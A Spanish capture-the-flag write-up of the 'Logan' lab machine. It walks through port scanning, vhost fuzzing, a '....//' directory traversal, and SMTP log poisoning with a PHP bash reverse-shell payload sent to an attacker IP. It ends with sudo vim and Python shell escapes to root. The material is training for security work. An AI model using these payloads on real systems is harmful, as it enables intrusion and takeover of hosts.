Logan

Continuamos con otra máquina medium, donde en este caso veremos un log poisoning bastante curioso. La escalada será sencilla abusando de un script en Python.

Reconocimiento de Puertos

Como es habitual, empezaremos averiguando la IP de la máquina víctima y realizando el reconocimiento de puertos con un pequeño script que creé para automatizar este proceso inicial:

sudo nmapauto

 [*] La IP de la máquina víctima es 192.168.1.18

Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 16:33 CEST
Initiating ARP Ping Scan at 16:33
Scanning 192.168.1.18 [1 port]
Completed ARP Ping Scan at 16:33, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 16:33
Scanning 192.168.1.18 [65535 ports]
Discovered open port 25/tcp on 192.168.1.18
Discovered open port 80/tcp on 192.168.1.18
Completed SYN Stealth Scan at 16:33, 1.29s elapsed (65535 total ports)
Nmap scan report for 192.168.1.18
Host is up, received arp-response (0.000075s latency).
Scanned at 2023-07-24 16:33:44 CEST for 1s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
25/tcp open  smtp    syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:ED:56:D9 (Oracle VirtualBox virtual NIC)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.52 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

 [*] Escaneo avanzado de servicios

Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-24 16:33 CEST
Nmap scan report for 192.168.1.18
Host is up (0.00014s latency).

PORT   STATE SERVICE VERSION
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: logan.hmv, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=logan
| Subject Alternative Name: DNS:logan
| Not valid before: 2023-07-03T13:46:49
|_Not valid after:  2033-06-30T13:46:49
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:ED:56:D9 (Oracle VirtualBox virtual NIC)
Service Info: Host:  logan.hmv

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.00 seconds

 [*] Escaneo completado, se ha generado el fichero InfoPuertos 

Teniendo el puerto 25 abierto… huele a log poisoning, pero ya veremos.

Tal y como nos indica Nmap, ha detectado el host logan.hmv, así que vamos a agregarlo al /etc/hosts: echo "192.168.1.18 logan.hmv" | sudo tee -a /etc/hosts

Ahora cargamos la web, pero no vemos nada interesante:

Fuzzing

Si lanzamos gobuster para buscar algún recurso web, no localizamos nada:

❯ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -b 403,404 -x php,txt,html -u $ip
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.1.18
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   403,404
[+] User Agent:              gobuster/3.5
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
2023/07/24 16:44:29 Starting gobuster in directory enumeration mode
===============================================================
/javascript           (Status: 301) [Size: 317] [--> http://192.168.1.18/javascript/]
/index.html           (Status: 200) [Size: 65]

Así que vamos a buscar vhost:

❯ gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100 -u logan.hmv --append-domain -r
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://logan.hmv
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/07/24 16:45:36 Starting gobuster in VHOST enumeration mode
===============================================================
Found: admin.logan.hmv Status: 200 [Size: 1112]

Si cargamos el nuevo subdominio vemos lo siguiente:

  1. La página de “Upload files” nos lleva a un formulario que nos tienta a cargar una reverse shell, pero parece que el botón no hace nada ni muestra ningún mensaje.

  2. En el apartado “Logs” intenté fuzzear parámetros pero tampoco encontré nada.

  3. En “Payments” parece que está el tema, pues aunque intenté una inyección SQL sin resultados, tiene más sentido que por ahí haya un posible directory traversal que nos lleve al log poisoning.

Directory traversal

Si tiramos de Burpsuite para analizar la petición:

Vemos que hace una petición a un fichero, así que trataremos de buscar el directory traversal:

Pues tras unas pruebas, vemos que tiene una restricción que borra “../”, pero lo podemos solucionar de esta forma que muestro.

Log poisoning

Vamos ahora a envenenar el log del mail:

❯ nc 192.168.1.18 25
220 logan.hmv ESMTP Postfix (Ubuntu)
MAIL FROM: kaian
250 2.1.0 Ok
RCPT TO: <?php exec('bash -c "/bin/bash -i >& /dev/tcp/192.168.1.150/1234 0>&1"'); ?>
501 5.1.3 Bad recipient address syntax

Lo que estamos realizando es conectarnos por nc al puerto 25 para enviar un email con una reverse shell a nuestra máquina de atacante.

Por tanto, ignoramos esta advertencia y abriremos como siempre un listener con nc en nuestra máquina: nc -nlvp 1234

Ahora sí, cargamos directamente el log con curl:

❯ curl admin.logan.hmv/payments.php -d "file=....//....//....//....//....//....//var/log/mail.log"

Automáticamente nos da una shell. Así que realizamos el tratamiento de la TTY y vamos a por la flag de user:

www-data@logan:/var/www/admin$ export TERM=xterm
www-data@logan:/var/www/admin$ cd /home
www-data@logan:/home$ ls
logan
www-data@logan:/home$ cd logan
www-data@logan:/home/logan$ ls
to-do  user.txt
www-data@logan:/home/logan$ cat user.txt
User: iXXXXXXXs
www-data@logan:/home/logan$ cat to-do 
- Go outside
- Try the new script that gave me root to learn python

Escalada de privilegios

Parece que nos da una pista ese texto, si revisamos los permisos que tenemos como otros usuarios:

www-data@logan:/home/logan$ sudo -l
Matching Defaults entries for www-data on logan:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on logan:
    (logan) NOPASSWD: /usr/bin/vim

Parece que podemos abusar de ese binario para pivotar a logan, vamos a ello con nuestro querido amigo https://gtfobins.github.io/gtfobins/vim/#sudo:

www-data@logan:/home/logan$ sudo -u logan vim -c ':!/bin/bash'

logan@logan:~$ id
uid=1000(logan) gid=1000(logan) groups=1000(logan),27(sudo),1002(administration)

Realizamos nuevamente la misma acción para ver qué podemos ejecutar:

logan@logan:~$ sudo -l
Matching Defaults entries for logan on logan:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User logan may run the following commands on logan:
    (root) NOPASSWD: /usr/bin/python3 /opt/learn_some_python.py

Y vemos que podemos ejecutar como root un script en Python, vamos a ello:

logan@logan:~$ sudo /usr/bin/python3 /opt/learn_some_python.py
Welcome!!!

 The first you need to now is how to use print, please type print('hello')

import os; os.system("/bin/bash")
root@logan:/home/logan# cd /root
root@logan:~# ls
root.txt  snap
root@logan:~# cat root.txt

Máquina finalizada, agradecer a d3b0o por la misma.